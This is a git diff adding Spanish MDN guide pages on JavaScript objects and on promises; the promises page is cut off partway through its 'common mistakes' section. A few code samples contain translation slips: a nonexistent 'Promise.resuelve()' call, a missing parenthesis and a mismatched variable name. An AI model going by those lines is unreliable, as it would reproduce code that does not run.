+<p>Nota que en lugar de pasar un valor de cadena o entero cuando se crean los nuevos objetos, las declaraciones anteriores pasan al objetos <code>rand</code> y <code>ken</code> como argumentos para los <code>owner</code>s. Si luego quieres averigüar el nombre del propietario del <code>car2</code>, puedes acceder a la propiedad de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">car2.owner.name
+</pre>
+
+<p>Ten en cuenta que siempre se puede añadir una propiedad a un objeto previamente definido. Por ejemplo, la declaración</p>
+
+<pre class="brush: js notranslate">car1.color = 'black';
+</pre>
+
+<p>agrega la propiedad <code>color</code> a <code>car1</code>, y le asigna el valor "<code>black</code>". Sin embargo, esto no afecta a ningún otro objeto. Para agregar la nueva propiedad a todos los objetos del mismo tipo, tienes que añadir la propiedad a la definición del tipo de objeto <code>Car</code>.</p>
+
+<h3 id="Usar_el_método_Object.create">Usar el método <code>Object.create</code></h3>
+
+<p>Los objetos también se pueden crear por medio del método {{jsxref("Object.create()")}}. Este método puede ser muy útil, ya que te permite elegir el prototipo del objeto que deseas crear, sin tener que definir una función constructora.</p>
+
+<pre class="brush: js notranslate">// Propiedades y método de encapsulación para Animal
+var Animal = {
+  type: 'Invertebrates', // Valor predeterminado de las propiedades
+  displayType: function() {  // Método que mostrará el tipo de Animal
+    console.log(this.type);
+  }
+};
+
+// Crea un nuevo tipo de animal llamado animal1
+var animal1 = Object.create(Animal);
+animal1.displayType(); // Muestra: Invertebrates
+
+// Crea un nuevo tipo de animal llamado Fishes
+var fish = Object.create(Animal);
+fish.type = 'Fishes';
+fish.displayType();    // Muestra: Fishes</pre>
+
+<h2 id="Herencia">Herencia</h2>
+
+<p>Todos los objetos en JavaScript heredan de al menos otro objeto. El objeto del que se hereda se conoce como el prototipo, y las propiedades heredadas se pueden encontrar en el objeto <code>prototype</code> del constructor. Para más información consulta <a href="/es/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">Herencia y cadena prototipos</a>.</p>
+
+<h2 id="Propiedades_del_objeto_indexado">Propiedades del objeto indexado</h2>
+
+<p>En &lt;s0&gt;JavaScript 1.0&lt;/s0&gt;, puedes hacer referencia a una propiedad de un objeto, ya sea por el nombre de la propiedad o por su índice ordinal. Si inicialmente defines una propiedad por su nombre, siempre debes referirte a ella por su nombre, y si inicialmente defines una propiedad por un índice, siempre debes referirte a ella por su índice.</p>
+
+<p>Esta restricción se aplica cuando creas un objeto y sus propiedades con una función constructora (como hicimos anteriormente con el tipo de objeto <code>Car</code>) y cuando defines propiedades individuales explícitamente (por ejemplo, <code>myCar.color = "red"</code>). Si inicialmente defines una propiedad de objeto con un índice, como <code>myCar[5] = "25 mpg"</code>, posteriormente te refiere a la propiedad solo como <code>myCar[5]</code>.</p>
+
+<p>La excepción a esta regla son los objetos HTML, como por ejemplo los objetos contenidos en <code>formularios</code>. Siempre puedes hacer referencia a los objetos en estos objetos en forma de arreglo por su número ordinal (según el lugar en el que aparecen en el documento) o por su nombre (si está definido). Por ejemplo, si la segunda etiqueta <code>&lt;FORM&gt;</code> en un documento tiene un atributo <code>NAME</code> con valor "<code>myForm</code>", puedes hacer referencia al formulario como <code>document.forms[1]</code> o <code>document.forms["myForm"]</code> o <code>document.forms.myForm</code>.</p>
+
+<h2 id="Definición_de_las_propiedades_de_un_tipo_de_objeto">Definición de las propiedades de un tipo de objeto</h2>
+
+<p>Puedes agregar una propiedad a un tipo de objeto definido previamente mediante el uso de la propiedad <code>prototype</code>. Esto define una propiedad que es compartida por todos los objetos del tipo especificado, en lugar de por una sola instancia del objeto. El siguiente código agrega una propiedad <code>color</code> a todos los objetos del tipo <code>Car</code>, y luego asigna un valor a la propiedad <code>color</code> del objeto <code>car1</code>.</p>
+
+<pre class="brush: js notranslate">Car.prototype.color = null;
+car1.color = 'black';
+</pre>
+
+<p>Para más información, consulta la <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype" title="/es/docs/JavaScript/Reference/Global Objects/Function/prototype">propiedad <code>prototype</code></a> del objeto <code>Function</code> en la <a href="/es/docs/Web/JavaScript/Reference">Referencia de JavaScript</a>.</p>
+
+<h2 id="Definición_de_métodos">Definición de métodos</h2>
+
+<p>Un <em>método</em> es una función asociada a un objeto, o, simplemente, un método es una propiedad de un objeto que es una función. Los métodos se definen normalmente como una función, con excepción de que tienen que ser asignados como la propiedad de un objeto. Consulte también <a href="/es/docs/Web/JavaScript/Reference/Functions/Method_definitions">definiciones de métodos</a> para obtener más detalles. Un ejemplo puede ser:</p>
+
+<pre class="brush: js notranslate">objectName.methodname = functionName;
+
+var myObj = {
+  myMethod: function(params) {
+    // ...hacer algo
+  }
+
+  // O ESTO TAMBIÉN FUNCIONA
+
+  myOtherMethod(params) {
+    // ...hacer algo más
+  }
+};
+</pre>
+
+<p>&lt;s0&gt;donde <code>objectName</code> es un objeto existente, <code>methodname</code> es el nombre que se le va a asignar al método, y <code>functionName</code> es el nombre de la función.</p>
+
+<p>Entonces puedes llamar al método en el contexto del objeto de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">object.methodname(params);
+</pre>
+
+<p>Puedes definir métodos para un tipo de objeto incluyendo una definición del método en la función constructora del objeto. Podrías definir una función que formateé y muestre las propiedades de los objetos del tipo <code>Car</code> previamente definidas; por ejemplo:</p>
+
+<pre class="brush: js notranslate">function displayCar() {
+  var result = `Un hermoso ${this.year} ${this.make} ${this.model}`;
+  pretty_print(result);
+}
+</pre>
+
+<p>donde <code>pretty_print</code> es una función para mostrar una línea horizontal y una cadena. Observa el uso de <code>this</code> para referirse al objeto al que pertenece el método.</p>
+
+<p>Puedes hacer de esta función un método de <code>Car</code> agregando la declaración</p>
+
+<pre class="brush: js notranslate">this.displayCar = displayCar;
+</pre>
+
+<p>a la definición del objeto. Por lo tanto, la definición completa de <code>Car</code> ahora se verá así:</p>
+
+<pre class="brush: js notranslate">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+  this.displayCar = displayCar;
+}
+</pre>
+
+<p>Entonces puedes llamar al método <code>displayCar</code> para cada uno de los objetos de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">car1.displayCar();
+car2.displayCar();
+</pre>
+
+<h2 id="Usar_this_para_referencias_a_objetos">Usar <code>this</code> para referencias a objetos</h2>
+
+<p>JavaScript tiene una palabra clave especial, <code>this</code>, que puedes usar dentro de un método para referirte al objeto actual. Por ejemplo, supongamos que tienes 2 objetos,<code>Manager</code> e <code>Intern</code>. Cada objeto tiene su propio <code>name</code>,<code>age</code> y <code>job</code>. En la función <code>sayHi()</code>, observa que hay <code>this.name</code>. Cuando se agregan a los 2 objetos, se pueden llamar y devuelve el <code>'Hola, mi nombre es'</code> y luego agrega el valor <code>name</code> de ese objeto específico. Como se muestra abajo. </p>
+
+<pre class="brush: js notranslate">const Manager = {
+  name: "John",
+  age: 27,
+  job: "Software Engineer"
+}
+
+const Intern= {
+  name: "Ben",
+  age: 21,
+  job: "Software Engineer Intern"
+}
+
+function sayHi() {
+    console.log('Hola, mi nombre es ', this.name)
+}
+
+// agrega la función sayHi a ambos objetos
+Manager.sayHi = sayHi;
+Intern.sayHi = sayHi;
+
+Manager.sayHi() // Hola, mi nombre es John'
+Intern.sayHi() // Hola, mi nombre es Ben'
+</pre>
+
+<p><code>this</code> se refiere al objeto en el que se encuentra. Puedes crear una nueva función llamada <code>howOldAmI()</code> que registra una oración que dice cuántos años tiene la persona. </p>
+
+<pre class="brush: js notranslate">function howOldAmI() {
+  console.log('Tengo ' + this.age + ' años.')
+}
+Manager.howOldAmI = howOldAmI;
+Manager.howOldAmI() // Tengo 27 años.
+</pre>
+
+<h2 id="Definición_de_captadores_getters_y_establecedores_setters">Definición de captadores (<code>getters</code>) y establecedores (<code>setters</code>)</h2>
+
+<p>Un captador (<a href="/es/docs/Web/JavaScript/Reference/Functions/get">getter</a>) es un método que obtiene el valor de una propiedad específica. Un establecedor (<a href="/es/docs/Web/JavaScript/Reference/Functions/set">setter</a>) es un método que establece el valor de una propiedad específica. Puedes definir captadores y establecedores en cualquier objeto principal predefinido o en un objeto definido por el usuario que admita la adición de nuevas propiedades. </p>
+
+<p>En principio, los captadores y establecedores pueden ser</p>
+
+<ul>
+ <li>definido usando <a href="#Iniciadores_de_objeto">iniciadores de objeto</a>, o</li>
+ <li>agregado posteriormente a cualquier objeto en cualquier momento usando un método de adición para el captador o el establecedor.</li>
+</ul>
+
+<p>Al definir captadores y establecedores usando <a href="#Iniciadores_de_objeto">iniciadores de objeto</a>, todo lo que necesitas hacer es prefijar un método captador con <code>get</code> y un método establecedor con <code>set</code>. Por supuesto, el método captador no debe esperar un parámetro, mientras que el método establecedor espera exactamente un parámetro (el nuevo valor a establecer). Por ejemplo:</p>
+
+<pre class="brush: js notranslate">var o = {
+  a: 7,
+  get b() {
+    return this.a + 1;
+  },
+  set c(x) {
+    this.a = x / 2;
+  }
+};
+
+console.log (o.a); // 7
+console.log (o.b); // 8 &lt;-- En este punto se inicia el método get b().
+o.c = 50;         // &lt;-- En este punto se inicia el método set c(x)
+console.log(o.a); // 25
+</pre>
+
+<p>var o = {</p>
+
+<ul>
+ <li>a: 7,</li>
+ <li><code>o.b</code> — un captador que devuelve <code>o.a</code> más 1</li>
+ <li><code>o.c</code> — un establecedor que establece el valor de <code>o.a</code> en la mitad del valor que se establece en <code>o.c</code></li>
+</ul>
+
+<p>Ten en cuenta que los nombres de función de los captadores y establecedores definidos en un objeto literal usando "[gs]et <em>propiedad</em>()" (en contraposición a <code>__define [GS]etter__</code>) no son los nombres de los captadores en sí, aunque la sintaxis <code>[gs]et <em>propertyName</em>() {}</code> te puede inducir a pensar lo contrario.</p>
+
+<p>Los captadores y establecedores también se pueden agregar a un objeto en cualquier momento después de la creación usando el método <code>Object.defineProperties</code>. El primer parámetro de este método es el objeto sobre el que se quiere definir el captador o establecedor. El segundo parámetro es un objeto cuyo nombre de propiedad son los nombres <code>getter</code> o <code>setter</code>, y cuyos valores de propiedad son objetos para la definición de las funciones <code>getter</code> o <code>setter</code>. Aquí hay un ejemplo que define el mismo <code>getter</code> y <code>setter</code> utilizado en el ejemplo anterior:</p>
+
+<pre class="brush: js notranslate">var o = { a: 0 };
+
+Object.defineProperties(o, {
+    'b': { get: function() { return this.a + 1; } },
+    'c': { set: function(x) { this.a = x / 2; } }
+});
+
+o.c = 10; // Ejecuta el establecedor, que asigna 10/2 (5) a la propiedad 'a'
+console.log(o.b); // Ejecuta el captador, que produce un + 1 o 6
+</pre>
+
+<p>¿Cuál de las dos formas elegir? depende de tu estilo de programación y de la tarea que te ocupa. Si ya utilizas el iniciador de objeto al definir un prototipo probablemente escojas la primer forma la mayoría de las veces. Esta forma es más compacta y natural. Sin embargo, si más tarde necesitas agregar captadores y establecedores — porque no lo escribiste en el objeto prototipo o particular — entonces la segunda forma es la única forma posible. La segunda forma, probablemente representa mejor la naturaleza dinámica de JavaScript — pero puede hacer que el código sea difícil de leer y entender.&lt;/s6&gt;</p>
+
+<h2 id="Eliminar_propiedades">Eliminar propiedades</h2>
+
+<p>Puedes eliminar una propiedad no heredada mediante el operador <code>delete</code>. El siguiente código muestra cómo eliminar una propiedad.</p>
+
+<pre class="brush: js notranslate">//Crea un nuevo objeto, myobj, con dos propiedades, a y b.
+var myobj = new Object;
+myobj.a = 5;
+myobj.b = 12;
+
+// Elimina la propiedad a, dejando a myobj solo con la propiedad b.
+delete myobj.a;
+console.log ('a' in myobj); // muestra: "false"
+</pre>
+
+<p>También puedes utilizar <code>delete</code> para eliminar una variable global siempre y cuando no se haya utilizado la palabra clave <code>var</code> para declarar la variable:</p>
+
+<pre class="brush: js notranslate">g = 17;
+delete g;
+</pre>
+
+<h2 id="Comparar_objetos">Comparar objetos</h2>
+
+<p>Como sabemos los objetos son de tipo referencia en JavaScript. Dos distintos objetos nunca son iguales, incluso aunque tengan las mismas propiedades. Solo comparar la misma referencia de objeto consigo misma arroja verdadero.</p>
+
+<pre class="brush: js notranslate">// Dos variables, dos distintos objetos con las mismas propiedades
+var fruit = { name: 'apple' };
+var fruitbear = { name: 'apple' };
+
+fruit == fruitbear; // devuelve false
+fruit === fruitbear; // devuelve false</pre>
+
+<pre class="brush: js notranslate">// Dos variables, un solo objeto
+var fruit = { name: 'apple' };
+var fruitbear = fruit; // Asigna la referencia del objeto fruit a fruitbear
+
+// Aquí fruit y fruitbear apuntan al mismo objeto
+fruit == fruitbear; // devuelve true
+fruit === fruitbear; // devuelve true
+
+fruit.name = 'grape';
+console.log(fruitbear); // Produce: { name: "grape" }, en lugar de { name: "apple" }
+</pre>
+
+<p>Para obtener más información sobre los operadores de comparación, consulta <a href="/es/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Operadores de comparación</a>.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>Para profundizar más, lee sobre los <a href="/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">detalles del modelo de objetos de JavaScript</a>.</li>
+ <li>Para obtener más información sobre las clases de ECMAScript 2015 (una forma alternativa de crear objetos), lee el capítulo <a href="/es/docs/Web/JavaScript/Reference/Classes">Clases de JavaScript</a>.</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Details_of_the_Object_Model")}}</p>
diff --git a/files/es/web/javascript/guide/usar_promesas/index.html b/files/es/web/javascript/guide/usar_promesas/index.html
new file mode 100644
index 0000000000..4b84166fe6
--- /dev/null
+++ b/files/es/web/javascript/guide/usar_promesas/index.html
@@ -0,0 +1,344 @@
+---
+title: Usar promesas
+slug: Web/JavaScript/Guide/Usar_promesas
+tags:
+  - Asíncrono
+  - Guía
+  - Intermedio
+  - Promesa
+  - Promesas
+translation_of: Web/JavaScript/Guide/Using_promises
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p>Una {{jsxref("Promise")}} (promesa en castellano) es un objeto que representa la terminación o el fracaso de una operación asíncrona. Dado que la mayoría de las personas consumen <code>promises</code> ya creadas, esta guía explicará primero cómo consumirlas, y luego cómo crearlas.</p>
+
+<p>Esencialmente, una promesa es un objeto devuelto al cuál se adjuntan funciones <code>callback</code>, en lugar de pasar callbacks a una función.</p>
+
+<p>Considera la función <code>crearArchivoAudioAsync()</code>, el cuál genera de manera asíncrona un archivo de sonido de acuerdo a un archivo de configuración, y dos funciones callback, una que es llamada si el archivo de audio es creado satisfactoriamente, y la otra que es llamada si ocurre un error. El código podría verse de la siguiente forma:</p>
+
+<pre class="brush: js line-numbers  language-js">function exitoCallback(resultado) {
+  console.log("Archivo de audio disponible en la URL " + resultado);
+}
+
+function falloCallback(error) {
+  console.log("Error generando archivo de audio " + error);
+}
+
+crearArchivoAudioAsync(audioConfig, exitoCallback, falloCallback);
+</pre>
+
+<p>... las funciones modernas devuelven un objeto <code>promise</code> al que puedes adjuntar funciones de retorno (callbacks). Si <code>crearArchivoAudioAsync</code> fuera escrita de manera tal que devuelva un objeto <code>promise</code>, usarla sería tan simple como esto:</p>
+
+<pre class="brush: js line-numbers  language-js">crearArchivoAudioAsync(audioConfig).then(exitoCallback, falloCallback);</pre>
+
+<p>Lo cuál es la versión corta de:</p>
+
+<pre class="brush: js line-numbers  language-js">const promesa = crearArchivoAudioAsync(audioConfig);
+promesa.then(exitoCallback, falloCallback);</pre>
+
+<p>Llamamos a esto una <em>llamada a función asíncrona</em>. Esta convención tiene varias ventajas. Exploraremos cada una de ellas.</p>
+
+<h2 id="Garantías">Garantías</h2>
+
+<p>A diferencia de las funciones callback pasadas al "viejo estilo", una promesa viene con algunas garantías:</p>
+
+<ul>
+ <li>Las funciones callback nunca serán llamadas antes de la <a href="/es/docs/Web/JavaScript/EventLoop#Ejecutar_hasta_completar">terminación de la ejecución actual</a> del bucle de eventos de JavaScript.</li>
+ <li>Las funciones callback añadidas con <code>then()</code> incluso después del éxito o fracaso de la operación asíncrona serán llamadas como se mostró anteriormente.</li>
+ <li>Múltiples funciones callback pueden ser añadidas llamando a <code>then()</code> varias veces. Cada una de ellas es ejecutada una seguida de la otra, en el orden en el que fueron insertadas.</li>
+</ul>
+
+<p>Una de las grandes ventajas de usar <code>promises</code> es el encadenamiento, explicado a continuación.</p>
+
+<h2 id="Encadenamiento">Encadenamiento</h2>
+
+<p>Una necesidad común es el ejecutar dos o más operaciones asíncronas seguidas, donde cada operación posterior se inicia cuando la operación previa tiene éxito, con el resultado del paso previo. Logramos esto creando una cadena de objetos <code>promises</code>.</p>
+
+<p>Aquí está la magia: la función <code>then()</code> devuelve una promesa nueva, diferente de la original:</p>
+
+<pre class="brush: js">const promesa = hazAlgo();
+const promesa2 = promesa.then(exitoCallback, falloCallback);
+</pre>
+
+<p>o</p>
+
+<pre class="brush: js">let promesa2 = hazAlgo().then(exitoCallback, falloCallback);
+</pre>
+
+<p>Esta segunda promesa (<code>promesa2</code>) representa no sólo la terminación de <code>hazAlgo()</code>, sino también de <code>exitoCallback</code> o <code>falloCallback</code> que pasaste, las cuales pueden ser otras funciones asíncronas devolviendo una promesa. Cuando ese es el caso, cualquier función callback añadida a <code>promesa2</code> se queda en cola detrás de la promesa devuelta por <code>exitoCallback</code> o <code>falloCallback</code>.</p>
+
+<p>Básicamente, cada promesa representa la terminación de otro paso (asíncrono on no) en la cadena.</p>
+
+<p>En el pasado, hacer varias operaciones asíncronas en fila conduciría a la clásica pirámide de funciones callback:</p>
+
+<pre class="brush: js">hazAlgo(function(resultado) {
+  hazAlgoMas(resultado, function(nuevoResultado) {
+    hazLaTerceraCosa(nuevoResultado, function(resultadoFinal) {
+      console.log('Obtenido el resultado final: ' + resultadoFinal
+    }, falloCallback);
+  }, falloCallback);
+}, falloCallback);
+</pre>
+
+<p>Con las funciones modernas, adjuntamos nuestras functiones callback a las promesas devueltas, formando una cadena de promesa:</p>
+
+<pre class="brush: js">hazAlgo().then(function(resultado) {
+  return hazAlgoMas(resultado);
+})
+.then(function(nuevoResultado) {
+  return hazLaTerceraCosa(nuevoResultado);
+})
+.then(function(resultadoFinal) {
+  console.log('Obtenido el resultado final: ' + resultadoFinal);
+})
+.catch(falloCallback);
+</pre>
+
+<p>Los argumentos a <code>then</code> son opcionales, y <code>catch(falloCallBack)</code> es un atajo para <code>then(null, falloCallBack)</code>. Es posible que veas esto expresado con <a href="/es/docs/Web/JavaScript/Referencia/Funciones/Arrow_functions">funciones de flecha</a> :</p>
+
+<pre class="brush: js">hazAlgo()
+.then(resultado =&gt; hazAlgoMas(resultado))
+.then(nuevoResultado =&gt; hazLaTerceraCosa(nuevoResultado))
+.then(resultadoFinal =&gt; {
+  console.log(`Obtenido el resultado final: ${resultadoFinal}`);
+})
+.catch(falloCallback);
+</pre>
+
+<p><strong>Importante</strong>: Devuelve siempre resultados, de otra forma las funciones callback no se encadenarán, y los errores no serán capturados.</p>
+
+<h3 id="Encadenar_después_de_una_captura">Encadenar después de una captura</h3>
+
+<p>Es posible encadenar después de un fallo - por ejemplo: un <code>catch</code>- lo que es útil para lograr nuevas acciones incluso después de una acción fallida en la cadena. Lea el siguiente ejemplo:</p>
+
+<pre class="brush: js">new Promise((resolver, rechazar) =&gt; {
+    console.log('Inicial');
+
+    resolver();
+})
+.then(() =&gt; {
+    throw new Error('Algo falló');
+
+    console.log('Haz esto');
+})
+.catch(() =&gt; {
+    console.log('Haz aquello');
+})
+.then(() =&gt; {
+    console.log('Haz esto sin que importe lo que sucedió antes');
+});
+</pre>
+
+<p>Esto devolverá el siguiente texto:</p>
+
+<pre>Inicial
+Haz aquello
+Haz esto sin que importe lo que sucedió antes
+</pre>
+
+<p>Note que el texto "Haz esto" no es escrito porque el error "Algo falló" causó un rechazo.</p>
+
+<h2 id="Propagación_de_errores">Propagación de errores</h2>
+
+<p>Tal vez recuerdes haber visto <code>falloCallback</code> tres veces en la pirámide en un ejemplo anterior, en comparación con sólo una vez al final de la cadena de promesas:</p>
+
+<pre class="brush: js">hazAlgo()
+.then(resultado =&gt; hazAlgoMas(valor))
+.then(nuevoResultado =&gt; hazLaTerceraCosa(nuevoResultado))
+.then(resultadoFinal =&gt; console.log(`Obtenido el resultado final: ${resultadoFinal}`))
+.catch(falloCallback);
+</pre>
+
+<p>Básicamente, una cadena de promesas se detiene si hay una excepción, y recorre la cadena buscando manejadores de captura. Lo siguiente está mucho más adaptado a la forma de trabajo del código síncrono:</p>
+
+<pre class="brush: js">try {
+  let resultado = syncHazAlgo();
+  let nuevoResultado = syncHazAlgoMas(resultado);
+  let resultadoFinal = syncHazLaTerceraCosa(nuevoResultado);
+  console.log(`Obtenido el resultado final: ${resultadoFinal}`);
+} catch(error) {
+  falloCallback(error);
+}
+</pre>
+
+<p>Esta simetría con el código síncrono culmina con la mejora sintáctica <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/funcion_asincrona">async/await</a> en ECMASCript 2017:</p>
+
+<pre class="brush: js">async function foo() {
+  try {
+    let resultado = await hazAlgo();
+    let nuevoResultado = await hazAlgoMas(resultado);
+    let resultadoFinal = await hazLaTerceraCosa(nuevoResultado);
+    console.log(`Obtenido el resultado final: ${resultadoFinal}`);
+  } catch(error) {
+    falloCallback(error);
+  }
+}
+</pre>
+
+<p>Se construye sobre <code>promesas</code>, por ejemplo, <code>hazAlgo()</code> es la misma función que antes. Puedes leer más sobre la sintaxis <a href="https://developers.google.com/web/fundamentals/getting-started/primers/async-functions">aquí</a>.</p>
+
+<p>Las <code>promesas</code> resuelven un fallo fundamental de la pirámide de funciones callback, capturando todos los errores, incluso excepciones lanzadas y errores de programación. Esto es esencial para la composición funcional de operaciones asíncronas.</p>
+
+<h2 id="Eventos_de_rechazo_de_Promesas">Eventos de rechazo de Promesas</h2>
+
+<p>Cuando una <code>promesa</code> es rechazada, uno de los dos eventos se envía al ámbito global (generalmente, éste es el {{domxref("window")}}, o, si se utiliza en un trabajador web, es el  {{domxref("Worker")}} u otra interfaz basada en un trabajador). Los dos eventos son:</p>
+
+<p><strong>{{domxref("Window.rejectionhandled_event", "rejectionhandled")}}</strong></p>
+
+<p>Se envía cuando se rechaza una promesa, una vez que el rechazo ha sido manejado por la función <code>reject</code> del ejecutor.</p>
+
+<p><strong>{{domxref("Window.unhandledrejection_event", "unhandledrejection")}}</strong></p>
+
+<p>Se envía cuando se rechaza una promesa pero no hay un controlador de rechazo disponible.</p>
+
+<p>En ambos casos, el evento (del tipo {{domxref("PromiseRejectionEvent")}}) tiene como miembros una propiedad {{domxref("PromiseRejectionEvent.promise", "promise")}} que indica que la promesa fue rechazada, y una propiedad {{domxref("PromiseRejectionEvent.reason", "reason")}} que proporciona el motivo por el cuál se rechaza la promesa.</p>
+
+<p>Esto hace posible ofrecer el manejo de errores de promesas, y también ayuda a depurarlos. Estos controladores son globales, por lo tanto, todos los errores serán manejados por éstos independientemente de la fuente.</p>
+
+<p><u>Un caso de especial utilidad</u>: al escribir código para {{Glossary("Node.js")}}, es común que los módulos que incluyas en tu proyecto no cuenten con un controlador de evento para promesas rechazadas. Estos se registran en la consola en tiempo de ejecución de Node. Puedes capturarlos para analizarlos y manejarlos en tu código - o solo evitar que abarroten tu salida - agregando un controlador para el evento {{domxref("Window.unhandledrejection_event", "unhandledrejection")}}, como se muestra a continuación:</p>
+
+<pre><code>window.addEventListener("</code>unhandledrejection<code>", event =&gt; {
+  /* Podrías comenzar agregando código para examinar
+     la promesa específica analizando event.promise
+     y la razón del rechazo, accediendo a event.reason */
+
+  event.preventDefault();
+}, false);</code></pre>
+
+<p>Llamando al método {{domxref("Event.preventDefault", "preventDefault()")}} del evento, le dices a Javascript en tiempo de ejecución que no realice su acción predeterminada cuando las promesas rechazadas no cuenten con manejadores. En el caso de Node, esa acción predeterminada usualmente registra el error en la consola.</p>
+
+<p>Lo ideal, por supuesto, sería examinar las promesas rechazadas para asegurarte que ninguna de ellas tienen errores de código reales antes de descartar esos eventos.</p>
+
+<h2 id="Crear_una_promesa_alrededor_de_una_vieja_API_de_callbacks"><strong>Crear una promesa alrededor de una vieja API de callbacks</strong></h2>
+
+<p>Una {{jsxref("Promise")}} puede ser creada desde cero usando su constructor. Esto debería ser sólo necesario para envolver viejas APIs.</p>
+
+<p>En un mundo ideal, todas las funciones asíncronas devolverían promesas. Desafortunadamente, algunas APIs aún esperan que se les pase callbacks con resultado fallido/exitoso a la forma antigua. El ejemplo más obvio es la función {{domxref("WindowTimers.setTimeout", "setTimeout()")}}:</p>
+
+<pre class="brush: js">setTimeout(() =&gt; diAlgo("pasaron 10 segundos"), 10000);
+</pre>
+
+<p>Combinar callbacks del viejo estilo con promesas es problemático. Si <code>diAlgo</code> falla o contiene un error de programación, nada lo captura. La función <code>setTimeout</code> es culpable de esto.</p>
+
+<p>Afortunadamente podemos envolverlas en una promesa. La mejor práctica es envolver las funciones problemáticas en el nivel más bajo posible, y después nunca llamarlas de nuevo  directamente:</p>
+
+<pre class="brush: js">const espera = ms =&gt; new Promise(resuelve =&gt; setTimeout(resuelve, ms));
+
+espera(10000).then(() =&gt; diAlgo("10 segundos")).catch(falloCallback);
+</pre>
+
+<p>Básicamente, el constructor de la promesa toma una función ejecutora que nos permite resolver o rechazar manualmente una promesa. Dado que <code>setTimeout</code> no falla realmente, descartamos el rechazo en este caso.</p>
+
+<h2 id="Composición">Composición</h2>
+
+<p>{{jsxref("Promise.resolve()")}} y {{jsxref("Promise.reject()")}} son atajos para crear manualmente una promesa resuelta o rechazada respectivamente. Esto puede ser útil a veces.</p>
+
+<p>{{jsxref("Promise.all()")}} son {{jsxref("Promise.race()")}} son dos herramientas de composición para ejecutar operaciones asíncronas en paralelo.</p>
+
+<p>Podemos comenzar operaciones en paralelo y esperar que finalicen todas ellas de la siguiente manera:</p>
+
+<pre><code>Promise.all([func1(), func2(), func3()])
+.then(([resultado1, resultado2, resultado3]) =&gt; { /* usa resultado1, resultado2 y resultado3 */ });</code></pre>
+
+<p>La composición secuencial es posible usando Javascript inteligente:</p>
+
+<pre><code>[func1, func2, func3].reduce((p, f) =&gt; p.then(f), Promise.resolve())
+.then(result3 =&gt; { /* use result3 */ });</code></pre>
+
+<p>Básicamente, reducimos un conjunto de funciones asíncronas a una cadena de promesas equivalente a: <code>Promise.resolve().then(func1).then(func2).then(func3);</code></p>
+
+<p>Esto se puede convertir en una función de composición reutilizable, que es común en la programación funcional:</p>
+
+<pre><code>const aplicarAsync = (acc,val) =&gt; acc.then(val);
+const componerAsync = (...funcs) =&gt; x =&gt; funcs.reduce(aplicarAsync, Promise.resolve(x));</code></pre>
+
+<p>La función <code>componerAsync()</code> aceptará cualquier número de funciones como argumentos, y devolverá una nueva función que acepta un valor inicial que es pasado a través del conducto de composición. Esto es beneficioso porque cualquiera o todas las funciones pueden ser o asíncronas o síncronas y se garantiza que serán ejecutadas en el orden correcto:</p>
+
+<pre class="brush: js">const transformData = componerAsync(func1, asyncFunc1, asyncFunc2, func2);
+const resultado3 = transformData(data);
+</pre>
+
+<p>En ECMAScript 2017, la composición secuencial puede ser realizada usando simplemente async/await:</p>
+
+<pre class="brush: js">let resultado;
+for (const f of [func1, func2, func3]) {
+  resultado = await f(resultado);
+}
+</pre>
+
+<h2 id="Sincronización">Sincronización</h2>
+
+<p>Para evitar sorpresas, las funciones pasadas a <code>then()</code> nunca serán llamadas sincrónicamente, incluso con una promesa ya resuelta:</p>
+
+<pre class="brush: js">Promise.resolve().then(() =&gt; console.log(2));
+console.log(1); // 1, 2
+</pre>
+
+<p>En lugar de ejecutarse inmediatamente, la función pasada es colocada en una cola de microtareas, lo que significa que se ejecuta más tarde cuando la cola es vaciada al final del actual ciclo de eventos de JavaScript:</p>
+
+<pre class="brush: js">const espera = ms =&gt; new Promise(resuelve =&gt; setTimeout(resuelve, ms));
+
+espera().then(() =&gt; console.log(4));
+Promise.resuelve().then(() =&gt; console.log(2)).then(() =&gt; console.log(3));
+console.log(1); // 1, 2, 3, 4
+</pre>
+
+<h2 id="Anidamiento">Anidamiento</h2>
+
+<p>Las cadenas de promesas simples se mantienen planas sin anidar, ya que el anidamiento puede ser el resultado de una composición descuidada. Vea <a href="/es/docs/Web/JavaScript/Guide/Usar_promesas$edit#Common_mistakes">errores comunes</a>.</p>
+
+<p>El anidamiento es una estructura de control para limitar el alcance de las sentencias <code>catch</code>. Específicamente, un <code>catch</code> anidado sólo captura fallos dentro de su contexto y por debajo, no captura errores que están más arriba en la cadena fuera del alcance del anidamiento. Cuando se usa correctamente, da mayor precisión en la recuperación de errores:</p>
+
+<pre><code>hacerAlgoCritico()
+.then(resultado =&gt; hacerAlgoOpcional()
+  .then(resultadoOpcional =&gt; hacerAlgoSuper(resultadoOpcional))
+  .catch(e =&gt; {})) // Ignorar si hacerAlgoOpcional falla.
+.then(() =&gt; masAsuntosCriticos())
+.catch(e =&gt; console.log("Acción crítica fallida: " + e.message));</code>
+</pre>
+
+<p>Nota que aquí los pasos opcionales están anidados, por la precaria colocación de lo externo (y) alrededor de ellos.</p>
+
+<p>La declaración interna <code>catch</code> solo detecta errores de <code>hacerAlgoOpcional()</code> y <code>hacerAlgoSuper()</code>, después de lo cuál el código se reanuda con <code>masAsuntosCriticos()</code>. Es importante destacar que si <code>hacerAlgoCritico()</code> falla, el error es capturado únicamente por el <code>catch</code> final.</p>
+
+<h2 id="Errores_comunes">Errores comunes</h2>
+
+<p>Aquí hay algunos errores comunes que deben tenerse en cuenta al componer cadenas de promesas. Varios de estos errores se manifiestan en el siguiente ejemplo:</p>
+
+<pre><code>// ¡Mal ejemplo!
+hacerlAlgo().then(function(resultado) {
+  hacerOtraCosa(resultado) // Olvida devolver una promesa desde el interior de la cadena + anidamiento innecesario
+  .then(nuevoResultado =&gt; hacerUnaTerceraCosa(nuevoResultado));
